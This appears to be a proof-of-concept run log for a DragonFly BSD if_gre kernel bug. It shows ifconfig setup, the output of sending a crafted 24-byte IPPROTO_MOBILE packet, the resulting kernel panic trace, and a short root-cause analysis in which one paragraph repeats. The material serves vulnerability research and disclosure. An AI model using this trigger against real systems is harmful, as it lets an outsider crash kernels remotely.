=== BASELINE RUN (unpatched #0 kernel, if_gre.ko as shipped) ===
sha256(/boot/kernel/if_gre.ko) = 62643caa00240d805f8737faa75189e761992d6020be05610678b34d746fd741

Setup:
  ifconfig gre create; ifconfig gre0 tunnel 127.0.0.1 127.0.0.1
  ifconfig gre0 -link0  (mobile mode: g_proto=IPPROTO_MOBILE)
  ifconfig gre0 up
  ifconfig gre create; ifconfig gre1 tunnel 127.0.0.1 127.0.0.1
  ifconfig gre1 up      (GRE mode: g_proto=IPPROTO_GRE)

Trigger output:
[DF-0742-M] sending 24-byte IPPROTO_MOBILE (S-bit) packet
           m_len=24, msiz=12 → odst@24-27, osrc@28-31, cksum[20..31] all past m_len (OOB read)
  sent 24 bytes

(SSH timed out — guest panicked during/after Variant M send; Variant G never sent)

SSH exit: 124 (timeout) — guest is DOWN.

=== PANIC SIGNATURE (from dfbsd-qemu/boot.log serial console) ===
Fatal trap 12: page fault while in kernel mode
cpuid = 0; lapic id = 0
fault virtual address	= 0xfffff801175dfffc
fault code		= supervisor write data, page not present
instruction pointer	= 0x8:0xffffffff80bcab4f
stack pointer	        = 0x10:0xfffff8008d1f88f8
frame pointer	        = 0x10:0xfffff8008d1f8920
code segment		= base 0x0, limit 0xfffff, type 0x1b
			= DPL 0, pres 1, long 1, def32 0, gran 1
processor eflags	= interrupt enabled, resume, IOPL = 0
current process		= Idle
current thread          = pri 12 
kernel: type 12 trap, code=2

CPU0 stopping CPUs: 0x0000003e
 stopped
Stopped at      memmove+0x24f:  repe movsq      (%rsi),%es:(%rdi)
db> 

=== Analysis ===
The Variant M 24-byte IPPROTO_MOBILE packet reached gre_mobile_input.
At m_len=24, the offset-20+ derefs (proto@20, odst@24-27, osrc@28-31,
gre_in_cksum[20..31]) all extend past m_len without m_pullup (DF-0742).

=== Analysis ===
The Variant M 24-byte IPPROTO_MOBILE packet reached gre_mobile_input.
At m_len=24, the offset-20+ derefs (proto@20, odst@24-27, osrc@28-31,
gre_in_cksum[20..31]) all extend past m_len without m_pullup (DF-0742).
The bcopy at line 237 then underflowed (size = 24-12-20 = -8 to ~2^64)
and memmove faulted -> panic (DF-0741 sibling).